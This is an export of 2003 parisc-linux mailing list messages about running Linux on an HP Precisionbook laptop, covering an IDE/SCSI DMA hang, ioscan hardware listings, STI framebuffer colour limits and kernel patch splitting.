Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622393 24752 80.91.229.3 (22 Nov 2014 02:13:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:13 +0000 (UTC)
Cc: "Beerse, =?iso-8859-1?q?Corn=E9?=" <c.beerse@torex-hiscom.nl>,
	Matthew Wilcox <willy@debian.org>,
	Gavin Hubbard <ghub005@xtra.co.nz>,
	parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>, "M. Grabert" <xam@cs.ucc.ie>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 16 08:20:18 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel6.hp.com (atlrel6.hp.com [156.153.255.205])
	by dsl2.external.hp.com (Postfix) with ESMTP id 478E14829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 16 Apr 2003 08:20:18 -0600 (MDT)
Original-Received: from smtp2.fc.hp.com (smtp2.fc.hp.com [15.15.136.253])
	by atlrel6.hp.com (Postfix) with ESMTP
	id 2AF231C01745; Wed, 16 Apr 2003 10:20:14 -0400 (EDT)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.1.50.190])
	by smtp2.fc.hp.com (Postfix) with ESMTP
	id 7A0B623DF4; Wed, 16 Apr 2003 08:20:13 -0600 (MDT)
Original-Received: from eeyore.fc.hp.com (eeyore.fc.hp.com [15.1.54.199])
	by ldl.fc.hp.com (Postfix) with ESMTP
	id 26A0444FC; Wed, 16 Apr 2003 08:20:09 -0600 (MDT)
User-Agent: KMail/1.5.1
In-Reply-To: <20030416141513.GQ30643@parcelfarce.linux.theplanet.co.uk>
Content-Disposition: inline
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18279

On Wednesday 16 April 2003 8:15 am, Matthew Wilcox wrote:
> On Wed, Apr 16, 2003 at 03:09:58PM +0100, M. Grabert wrote:
> > Good question, I don't have the HP-UX root password. The Precisionbook
> > comes with two 4GB hard disks, both with HP-UX installed, but I have to
> > ask for the password (or does anybody know how to easily gain root access?),
> > which I haven't done yet.
> 
> Surely you can boot it, interact with IPL and add `single' as a parameter
> to boot it in single-user mode?  Or does that ask for the pw too?

I think you want something like:

ISL> hpux -is



From - Thu Nov 08 21:27:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?iso-8859-15?Q?=22Beerse=2C_Corn=E9=22?= <c.beerse@torex-hiscom.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Re: Presicionbook success
Date: Wed, 16 Apr 2003 17:05:21 +0200
Lines: 112
Approved: news@gmane.org
Message-ID: <03Apr16.172458cest.119069@ns.hiscom.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C30429.99F052E0"
X-Trace: ger.gmane.org 1416622393 24757 80.91.229.3 (22 Nov 2014 02:13:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:13 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	Gavin Hubbard <ghub005@xtra.co.nz>,
	parisc-linux@lists.parisc-linux.org
To: "'M. Grabert'" <xam@cs.ucc.ie>,
	=?iso-8859-15?Q?=22Beerse=2C_Corn=E9?= =?iso-8859-15?Q?=22?= <c.beerse@torex-hiscom.nl>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 16 09:05:27 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiscom.nl (unknown [130.78.143.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id C09804829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 16 Apr 2003 09:05:26 -0600 (MDT)
Original-Received: by ns.hiscom.nl id <119069>; Wed, 16 Apr 2003 17:24:58 +0200
X-Mailer: Internet Mail Service (5.5.2656.59)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18280

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C30429.99F052E0
Content-Type: text/plain;
	charset="iso-8859-15"
Content-Transfer-Encoding: quoted-printable

> -----Original Message-----
> From: M. Grabert [mailto:xam@cs.ucc.ie]
> Sent: woensdag 16 april 2003 16:18
>=20
> On Wed, 16 Apr 2003, [iso-8859-1] "Beerse, Corn=E9" wrote:
>=20
> > This gives me more and more the impression it is definitly=20
> some predecessor
> > of http://www6.tomshardware.com/storage/20030130/index.html
> >
>>>>>>>>>>>>>>>>>. snip snip <<<<<<<<<<<<<
>=20
> As stated in my earlier mails, it
>=20
> - hangs (I waited for quite a while!)
> - or continues (if ide=3Dnodma is used)

Then I think the next happens: The ide interface-chip is somehow =
detected
and the system pauses while nothing can continue. I think the cpu steps
aside to have some dma passing by. It either waits for some dma to =
happen or
for a note it can continue. Which never happen and never will happen =
since
the ide interface-chip does this dma to the scsi controler, not to the
cpu-memory.

In this special case, the cpu should not ask the chip if it does dma, =
the
chip sure does dma but it does it not against core memory but against =
the
scsi controler. This will be verry hard to detect from the cpu side. I =
think
the nicest implementation is to use the ide=3Dnodma, either manually or
carefully if a precisionbook is detected.


CBee

------_=_NextPart_001_01C30429.99F052E0
Content-Type: text/html;
	charset="iso-8859-15"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-15">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2654.45">
<TITLE>RE: [parisc-linux] Re: Presicionbook success</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2>&gt; -----Original Message-----</FONT>
<BR><FONT SIZE=3D2>&gt; From: M. Grabert [<A =
HREF=3D"mailto:xam@cs.ucc.ie">mailto:xam@cs.ucc.ie</A>]</FONT>
<BR><FONT SIZE=3D2>&gt; Sent: woensdag 16 april 2003 16:18</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; On Wed, 16 Apr 2003, [iso-8859-1] &quot;Beerse, =
Corn=E9&quot; wrote:</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; &gt; This gives me more and more the impression =
it is definitly </FONT>
<BR><FONT SIZE=3D2>&gt; some predecessor</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; of <A =
HREF=3D"http://www6.tomshardware.com/storage/20030130/index.html" =
TARGET=3D"_blank">http://www6.tomshardware.com/storage/20030130/index.ht=
ml</A></FONT>
<BR><FONT SIZE=3D2>&gt; &gt;</FONT>
<BR><FONT =
SIZE=3D2>&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt=
;&gt;. snip snip =
&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; As stated in my earlier mails, it</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; - hangs (I waited for quite a while!)</FONT>
<BR><FONT SIZE=3D2>&gt; - or continues (if ide=3Dnodma is used)</FONT>
</P>

<P><FONT SIZE=3D2>Then I think the next happens: The ide interface-chip =
is somehow detected and the system pauses while nothing can continue. I =
think the cpu steps aside to have some dma passing by. It either waits =
for some dma to happen or for a note it can continue. Which never =
happen and never will happen since the ide interface-chip does this dma =
to the scsi controler, not to the cpu-memory.</FONT></P>

<P><FONT SIZE=3D2>In this special case, the cpu should not ask the chip =
if it does dma, the chip sure does dma but it does it not against core =
memory but against the scsi controler. This will be verry hard to =
detect from the cpu side. I think the nicest implementation is to use =
the ide=3Dnodma, either manually or carefully if a precisionbook is =
detected.</FONT></P>
<BR>

<P><FONT SIZE=3D2>CBee</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C30429.99F052E0--


From - Thu Nov 08 21:27:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Presicionbook ioscan
Date: Wed, 16 Apr 2003 16:27:13 +0100 (IST)
Lines: 52
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0304161625010.28370-100000@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622394 24762 80.91.229.3 (22 Nov 2014 02:13:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:14 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 16 09:27:16 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id B3A9A4829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 16 Apr 2003 09:27:15 -0600 (MDT)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by csmail.ucc.ie (8.11.3/8.11.3/SuSE Linux 8.11.1-0.5) with ESMTP id h3GFRF606505
	for <parisc-linux@lists.parisc-linux.org>; Wed, 16 Apr 2003 16:27:15 +0100
X-X-Sender: xam@sal.ucc.ie
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18281

Hi PA,

I asked some other (new) owners of Presicionbooks to give me the output
of 'ioscan -f'. Here you go ...


---------- Forwarded message ----------
Date: Wed, 16 Apr 2003 11:22:37 -0400
From: Danny Duval
To: xam
Subject: re: Question from eBay Member


Class       I  H/W Path    Driver      S/W State   H/W Type     Description
============================================================================
bc          0              root        CLAIMED     BUS_NEXUS
bc          1  8           bc          CLAIMED     BUS_NEXUS    Pseudo Bus
Converter
ba          0  8/0         GSCtoPCI    CLAIMED     BUS_NEXUS    GSCtoPCI
Bridge
unknown    -1  8/0/1/0                 UNCLAIMED   UNKNOWN      PCI IDE
(10950643)
tty         1  8/0/63      asio0       CLAIMED     INTERFACE    Built-in
RS-232C
ba          1  8/16        bus_adapter CLAIMED     BUS_NEXUS    Core I/O
Adapter
ext_bus     1  8/16/0      CentIf      CLAIMED     INTERFACE    Built-in
Parallel Interface
audio       0  8/16/1      audio       CLAIMED     INTERFACE    Built-in
Audio
tty         0  8/16/4      asio0       CLAIMED     INTERFACE    Built-in
RS-232C
ext_bus     0  8/16/5      c720        CLAIMED     INTERFACE    Built-in
SCSI
target      0  8/16/5.0    tgt         CLAIMED     DEVICE
disk        0  8/16/5.0.0  sdisk       CLAIMED     DEVICE       ADTX
AXSITS2532R 014C
target      1  8/16/5.1    tgt         CLAIMED     DEVICE
disk        1  8/16/5.1.0  sdisk       CLAIMED     DEVICE       ADTX
AXSITS2532R 014C
target      2  8/16/5.7    tgt         CLAIMED     DEVICE
ctl         0  8/16/5.7.0  sctl        CLAIMED     DEVICE       Initiator
lan         0  8/16/6      lan2        CLAIMED     INTERFACE    Built-in LAN
ps2         0  8/16/7      ps2         CLAIMED     INTERFACE    Built-in
Keyboard/Mouse
pc          0  8/16/10     fdc         CLAIMED     INTERFACE    Built-in
Floppy Drive
graphics    0  8/24        graph3      CLAIMED     INTERFACE    Graphics
processor   0  62          processor   CLAIMED     PROCESSOR    Processor
memory      0  63          memory      CLAIMED     MEMORY       Memory



From - Thu Nov 08 21:27:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Re: Presicionbook success
Date: 16 Apr 2003 15:41:33 +0100
Lines: 25
Approved: news@gmane.org
Message-ID: <1050504092.28591.97.camel@dhcp22.swansea.linux.org.uk>
References: <Pine.LNX.4.44.0304161504230.28370-100000@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622394 24763 80.91.229.3 (22 Nov 2014 02:13:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:14 +0000 (UTC)
Cc: "\"Beerse," =?ISO-8859-1?Q?Corn=E9=22?= <c.beerse@torex-hiscom.nl>,
	Matthew Wilcox <willy@debian.org>,
	Gavin Hubbard <ghub005@xtra.co.nz>,
	parisc-linux@lists.parisc-linux.org
To: "M. Grabert" <xam@cs.ucc.ie>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 16 09:39:54 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from lxorguk.ukuu.org.uk (pc2-cwma1-4-cust86.swan.cable.ntl.com [213.105.254.86])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1CCE74829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 16 Apr 2003 09:39:54 -0600 (MDT)
Original-Received: from dhcp22.swansea.linux.org.uk (dhcp22.swansea.linux.org.uk [127.0.0.1])
	by lxorguk.ukuu.org.uk (8.12.8/8.12.5) with ESMTP id h3GEfeRN030101;
	Wed, 16 Apr 2003 15:41:40 +0100
Original-Received: (from alan@localhost)
	by dhcp22.swansea.linux.org.uk (8.12.8/8.12.8/Submit) id h3GEfYgL030099;
	Wed, 16 Apr 2003 15:41:34 +0100
X-Authentication-Warning: dhcp22.swansea.linux.org.uk: alan set sender to alan@lxorguk.ukuu.org.uk using -f
In-Reply-To: <Pine.LNX.4.44.0304161504230.28370-100000@sal.ucc.ie>
X-Mailer: Ximian Evolution 1.2.2 (1.2.2-5) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18282

On Mer, 2003-04-16 at 15:09, M. Grabert wrote:
> The hard disks are removeable, but there is no obvious IDE-SCSI bridge
> visible. It is build-in inside the laptop (i.e. non-removeable), and it's
> obviously visible from the OS (at least linux sees the IDE chip). Whether
> you can make any sensible use of it is a different question though ...

That means the system either has seperate IDE and SCSI controllers or
has an IDE controller and an IDE_SCSI bridge for scsi disk. I suspect
the former
> > For what its worth, I think the IRQ is hooked to the scsi interface, not to
> > the processor.
> 
> This would make sense.

It would be common sense for two exclusive items to use the same IRQ,
but if pio works so does the IRQ line

> comes with two 4GB hard disks, both with HP-UX installed, but I have to
> ask for the password (or does anybody know how to easily gain root access?),
> which I haven't done yet.

There are several ways but that would be subverting a rights management
system and I don't wish to get the list owners in trouble.



From - Thu Nov 08 21:27:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] STI fb questions
Date: Wed, 16 Apr 2003 17:46:15 +0200
Lines: 36
Approved: news@gmane.org
Message-ID: <3E9BA3A600000D8F@ocpmta2.freegates.net>
References: <Pine.LNX.4.44.0304161319540.28370-100000@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622394 24765 80.91.229.3 (22 Nov 2014 02:13:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:14 +0000 (UTC)
To: "M. Grabert" <xam@cs.ucc.ie>, parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 16 09:46:25 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm3.tiscalinet.be [212.35.2.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6D1A84829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 16 Apr 2003 09:46:24 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 195p76-0000fY-00; Wed, 16 Apr 2003 17:46:20 +0200
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Wed, 16 Apr 2003 17:46:15 +0200
In-Reply-To: <Pine.LNX.4.44.0304161319540.28370-100000@sal.ucc.ie>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18283

>So it should be able to display at least 800x600 in 24/32bit and
>1024x768 in 16bit, but it refuses to do so. 'dmesg' ALWAYS shows
>only 8bit colour depth regardless of the display resolution.
>

(may be you will find more accurate explanation on the stifb driver limits
with a search in this m-l)

>Obviously the standard sti=8/24 sti_font=VGA8x16 is used in the
>kernel command line (according to dmesg, however it's not specified in
>palo.conf).

Well if some parameters are not specified, palo take default value for those
once. 

>
>My question is know, does STIfb also supports 16bit? How can I force
>16bit and 24/32bit colour depths?

Unfortunately, it is not possible to force to use more than what dmesg announce
you (see limits) :(

> What does sti=8/24 exactly mean?
>
IIRC 8bit 24 colour depth.

Joel

---------------------------------
Vous surfez avec une ligne classique ?
Economisez jusqu' 25% avec Tiscali Complete !
Offre spciale : premire anne d'abonnement offerte.
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:27:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Presicionbook success
Date: 16 Apr 2003 16:02:58 +0100
Lines: 10
Approved: news@gmane.org
Message-ID: <1050505378.28591.114.camel@dhcp22.swansea.linux.org.uk>
References: <3.0.2.32.20030417011531.00a2bf20@pop3.xtra.co.nz>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622395 24774 80.91.229.3 (22 Nov 2014 02:13:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:15 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Gavin Hubbard <ghub005@xtra.co.nz>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 16 10:01:08 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from lxorguk.ukuu.org.uk (pc2-cwma1-4-cust86.swan.cable.ntl.com [213.105.254.86])
	by dsl2.external.hp.com (Postfix) with ESMTP id 688454829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 16 Apr 2003 10:01:07 -0600 (MDT)
Original-Received: from dhcp22.swansea.linux.org.uk (dhcp22.swansea.linux.org.uk [127.0.0.1])
	by lxorguk.ukuu.org.uk (8.12.8/8.12.5) with ESMTP id h3GF31RN030226;
	Wed, 16 Apr 2003 16:03:01 +0100
Original-Received: (from alan@localhost)
	by dhcp22.swansea.linux.org.uk (8.12.8/8.12.8/Submit) id h3GF2xMX030224;
	Wed, 16 Apr 2003 16:02:59 +0100
X-Authentication-Warning: dhcp22.swansea.linux.org.uk: alan set sender to alan@lxorguk.ukuu.org.uk using -f
In-Reply-To: <3.0.2.32.20030417011531.00a2bf20@pop3.xtra.co.nz>
X-Mailer: Ximian Evolution 1.2.2 (1.2.2-5) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18284

On Mer, 2003-04-16 at 14:15, Gavin Hubbard wrote:
> Before anyone loses too much sleep over this, the Precisionbook has
> internal SCSI-IDE bridges that sit between the HBA and the drives. I
> believe a similar system was used in some of the earlier Apple Powerbooks.

So htf do they end up on the IDE controller too ? If they show up on the
scsi bus under Linux then I need the ssvid/ssid for the CMD device (and
which CMD variant is used) and I can vanish it easily enough.



From - Thu Nov 08 21:27:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] parisc-linux.org kernel
Date: Wed, 16 Apr 2003 18:44:11 +0200
Lines: 58
Approved: news@gmane.org
Message-ID: <3E9BA3A600000DC1@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622395 24776 80.91.229.3 (22 Nov 2014 02:13:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:15 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 16 10:44:13 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (unknown [62.235.13.211])
	by dsl2.external.hp.com (Postfix) with ESMTP id 476B64829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 16 Apr 2003 10:44:13 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 195q15-0001tG-00; Wed, 16 Apr 2003 18:44:11 +0200
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Wed, 16 Apr 2003 18:44:11 +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18285

>cool - let me add some general comments.
>You might break the diff up into chunks along the lines that
>I've commented on them below. You should end up with something like
>15-20 patches.

Well I already create:
a chunck containing debian-configs (I call it 00_parisc_debian-configs.patch)
[about 140k] (would it be submited?)

another chunk containing all parisc specific (named 01_parisc.patch) containing
arch/parisc, include/asm-parisc and another noticed "parisc specific" [about
160k]

>
>>  Documentation/Configure.help                      |   90
>	I expect parisc-specific changes here.

Still have to care about a very small hunk (already from 2.4.19-pa2)
@@ -17555,6 +17595,10 @@
   doing that; to actually get it to happen you need to pass the
   option "console=lp0" to the kernel at boot time.

+  Note that kernel messages can get lost if the printer is out of
+  paper (or off, or unplugged, or too busy..), but this behaviour
+  can be changed. See drivers/char/lp.c (do this at your own risk).
+
   If the printer is out of paper (or off, or unplugged, or too
   busy..) the kernel will stall until the printer is ready again.
   By defining CONSOLE_LP_STRICT to 0 (at your own risk) you

The rest is "parisc specific"

>
>>  arch/parisc/config.in                             |    6
>...
>	parisc specific (our tree is authoritative)
>	Need to review for changes in Marcelo's tree.
>	I expect Marcello to take the mess as-is if there
>	are no conflicts.
>
Just more some small changes of mine (matching as near as possible changes
of other platform) to obtain a bootable 32bits kernel for my b2k (and its
fameous ide cdrom) and a b180L :)

Thanks in advance for your additional attention,
    Joel

PS: As advise I will not consider generic patches (the main require knowledge
I do not have)

---------------------------------
Vous surfez avec une ligne classique ?
Economisez jusqu' 25% avec Tiscali Complete !
Offre spciale : premire anne d'abonnement offerte.
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:27:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
